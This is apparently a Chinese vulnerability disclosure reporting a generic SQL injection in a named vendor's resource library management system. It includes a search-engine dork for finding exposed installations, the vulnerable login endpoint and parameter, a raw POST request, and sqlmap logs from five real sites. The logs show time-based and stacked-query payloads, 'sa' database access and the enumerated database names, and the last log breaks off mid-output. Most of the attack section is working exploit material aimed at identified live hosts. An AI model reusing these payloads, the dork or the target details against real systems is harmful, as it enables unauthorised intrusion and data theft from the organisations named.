### 简要描述： 某管理系统通用型SQL注入 ### 详细说明： 厂商：南京苏亚星资讯科技开发有限公司 资源库管理系统 搜索引擎关键字：帮助 正在读取数据... 注册用户 系统用户 用户名: 密码: 南京苏亚星资讯科技开发 有一部分是内网使用，好不容易找到5个案例。 http://www.baidu.com/s?wd=帮助%20正在读取数据...%20注册用户%20系统用户%20用户名%3A%20密码%3A%20南京苏亚星资讯科技开发&pn=70&oq=帮助%20正在读取数据...%20注册用户%20系统用户%20用户名%3A%20密码%3A%20南京苏亚星资讯科技开发&ie=utf-8&rsv_pq=a65219180002c407&rsv_t=1bf6peBE4nxiKJ9IRZZHqdmHEUoE5yoanRcAf8sP1AjtIh3cHKM3bZuGPtc&rsv_page=1&f=8&rsv_bp=1&tn=baidu [<img src="https://images.seebug.org/upload/201411/281103125a53920047d424c0bd7d25ba462bf018.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/281103125a53920047d424c0bd7d25ba462bf018.png) 漏洞位于:POST http://183.167.250.28:81/Public/Asp/LogValid.asp UserName参数没有过滤，导致注射 POST http://183.167.250.28:81/Public/Asp/LogValid.asp HTTP/1.1 Host: 183.167.250.28:81 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://183.167.250.28:81/default.asp Cookie: ASPSESSIONIDASABDBDC=FCKPGCPDPEEBDBEKMJIHNHKE Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 38 UserName=1&pwd=2&submit1=%B5%C7+%C2%BC 5个案例证明通用 1、sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: POST Parameter: UserName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ? Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ? --- [09:05:07] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2008 web application technology: ASP.NET, Microsoft IIS 7.5 back-end DBMS: Microsoft SQL Server 2005 [09:05:07] [INFO] fetching current user [09:05:07] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [09:06:03] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based queries [09:06:22] [INFO] adjusting time delay to 4 seconds due to good response times s [09:07:06] [INFO] adjusting time delay to 3 seconds due to good response times a current user: 'sa' [09:08:06] [INFO] fetching current database [09:08:06] [INFO] retrieved: Jupiter5 current database: 'Jupiter' [09:15:55] [INFO] fetching database names [09:15:55] [INFO] fetching number of databases [09:15:55] [INFO] retrieved: 6 [09:16:41] [INFO] retrieved: Jupiter5 [09:23:43] [INFO] retrieved: m [09:25:30] [ERROR] invalid character detected. retrying.. [09:25:30] [WARNING] increasing time delay to 4 seconds aster [09:30:20] [INFO] retrieved: model [09:36:12] [INFO] retrieved: msdb [09:40:13] [INFO] retrieved: SRP20 [09:45:39] [ERROR] invalid character detected. retrying.. [09:45:39] [WARNING] increasing time delay to 5 seconds [09:46:25] [ERROR] invalid character detected. retrying.. [09:46:25] [WARNING] increasing time delay to 6 seconds 03 [09:48:59] [INFO] retrieved: tempdb available databases [6]: [*] [model\x06] [*] [tempdb\x1f] [*] Jupiter5 [*] master [*] msdb [*] SRP2003 [09:56:36] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\??? ~1.COM\TOOls\????\SQLMAP~1\Bin\output\114.99.45.249' 2、sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: POST Parameter: UserName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ? Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ? --- [09:02:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows Vista web application technology: ASP.NET, Microsoft IIS 7.0 back-end DBMS: Microsoft SQL Server 2000 [09:02:49] [INFO] fetching current user [09:02:50] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [09:02:56] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based queries [09:03:07] [INFO] adjusting time delay to 1 second due to good response times sa current user: 'sa' [09:03:13] [INFO] fetching current database [09:03:13] [INFO] retrieved: Jupiter5 current database: 'Jupiter5' [09:03:55] [INFO] fetching database names [09:03:55] [INFO] fetching number of databases [09:03:55] [INFO] retrieved: 9 [09:03:59] [INFO] retrieved: [09:04:22] [ERROR] invalid character detected. retrying.. [09:04:22] [WARNING] increasing time delay to 2 seconds Jupiter5 [09:05:36] [INFO] retrieved: mas [09:06:32] [ERROR] invalid character detected. retrying.. [09:06:32] [WARNING] increasing time delay to 3 seconds ter [09:07:14] [INFO] retrieved: [09:07:28] [ERROR] invalid character detected. retrying.. [09:07:28] [WARNING] increasing time delay to 4 seconds [09:07:49] [ERROR] invalid character detected. retrying.. [09:07:49] [WARNING] increasing time delay to 5 seconds model [09:09:42] [INFO] retrieved: msdb [09:11:02] [INFO] retrieved: Northwind [09:14:35] [INFO] retrieved: pubs [09:16:06] [INFO] retrieved: SRP2003 [09:18:31] [INFO] retrieved: tempdb [09:20:45] [INFO] retrieved: Vod2005 available databases [9]: [*] [master\t] [*] Jupiter5 [*] model [*] msdb [*] Northwind [*] pubs [*] SRP2003 [*] tempdb [*] Vod2005 [09:23:20] [WARNING] HTTP error codes detected during testing: 503 (Service Unavailable) - 2 times [09:23:20] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\??? ~1.COM\TOOls\????\SQLMAP~1\Bin\output\124.165.218.69' 3、sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: POST Parameter: UserName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ? Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ? --- [10:14:56] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0 back-end DBMS: Microsoft SQL Server 2000 [10:14:56] [INFO] fetching current user [10:14:56] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [10:15:52] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based queries [10:16:11] [INFO] adjusting time delay to 4 seconds due to good response times sa current user: 'sa' [10:17:56] [INFO] fetching current database [10:17:56] [INFO] retrieved: Jupiter5 current database: 'Jupiter5' [10:25:30] [INFO] fetching database names [10:25:30] [INFO] fetching number of databases [10:25:30] [INFO] retrieved: 11 [10:26:30] [INFO] retrieved: Jupiter5 [10:34:04] [INFO] retrieved: master [10:39:48] [INFO] retrieved: model [10:44:51] [INFO] retrieved: msdb [10:48:52] [INFO] retrieved: Northwind [10:57:40] [INFO] retrieved: pubs [11:01:49] [INFO] retrieved: SRP2003 [11:08:31] [INFO] retrieved: tempdb [11:14:26] [INFO] retrieved: TempJupiterSa [11:26:23] [INFO] retrieved: Vod2005 [11:33:12] [INFO] retrieved: ws2004 available databases [11]: [*] Jupiter5 [*] master [*] model [*] msdb [*] Northwind [*] pubs [*] SRP2003 [*] tempdb [*] TempJupiterSa [*] Vod2005 [*] ws2004 [11:39:12] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\??? ~1.COM\TOOls\????\SQLMAP~1\Bin\output\www.lhjsxx.com' 4、[root@Hacker~]# Sqlmap -r d:\post5.txt --dbs --current-user --current-db sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 10:45:59 [10:45:59] [INFO] parsing HTTP request from 'd:\post5.txt' [10:45:59] [INFO] resuming back-end DBMS 'microsoft sql server' [10:45:59] [INFO] testing connection to the target url sqlmap got a 302 redirect to 'http://www.suyaxing.com:801/ErrMsg/NoUser.htm'. Do you want to follow? [Y/n] n [10:46:05] [INFO] heuristics detected web page charset 'ascii' [10:46:05] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: POST Parameter: UserName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ? Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ? --- [10:46:05] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0 back-end DBMS: Microsoft SQL Server 2000 [10:46:05] [INFO] fetching current user [10:46:05] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [10:47:00] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based queries [10:47:19] [INFO] adjusting time delay to 3 seconds due to good response times sa current user: 'sa' [10:49:00] [INFO] fetching current database [10:49:00] [INFO] retrieved: Jupiter5 current database: 'Jupiter5' [10:55:57] [INFO] fetching database names [10:55:57] [INFO] fetching number of databases [10:55:57] [INFO] retrieved: 23 [10:57:11] [INFO] retrieved: Jupiter5 [11:04:12] [INFO] retrieved: mas 5、[11:09:24] [INFO] parsing HTTP request from 'd:\post6.txt' [11:09:24] [INFO] resuming back-end DBMS 'microsoft sql server' [11:09:24] [INFO] testing connection to the target url sqlmap got a 302 redirect to 'http://183.167.250.28:81/ErrMsg/NoUser.htm'. Do yo u want to follow? [Y/n] n [11:09:31] [INFO] heuristics detected web page charset 'ascii' [11:09:31] [WARNING] cannot properly display Unicode characters inside Windows O S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi ll result in replacement with '?' character. Please, find proper character repre sentation inside corresponding output files. sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: POST Parameter: UserName Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: UserName=1'; WAITFOR DELAY '0:0:5';--&pwd=2&submit1=?? ? Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: UserName=1' WAITFOR DELAY '0:0:5'--&pwd=2&submit1=?? ? --- [11:09:31] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0 back-end DBMS: Microsoft SQL Server 2000 [11:09:31] [INFO] fetching current user [11:09:31] [WARNING] time-based comparison needs larger statistical model. Makin g a few dummy requests, please wait.. [11:10:26] [WARNING] it is very important not to stress the network adapter's ba ndwidth during usage of time-based queries [11:10:45] [INFO] adjusting time delay to 4 seconds due to good response times s [11:11:29] [INFO] adjusting time delay to 3 seconds due to good response times a current user: 'sa' [11:12:29] [INFO] fetching current database [11:12:29] [INFO] retrieved: Ju ### 漏洞证明： 已经证明
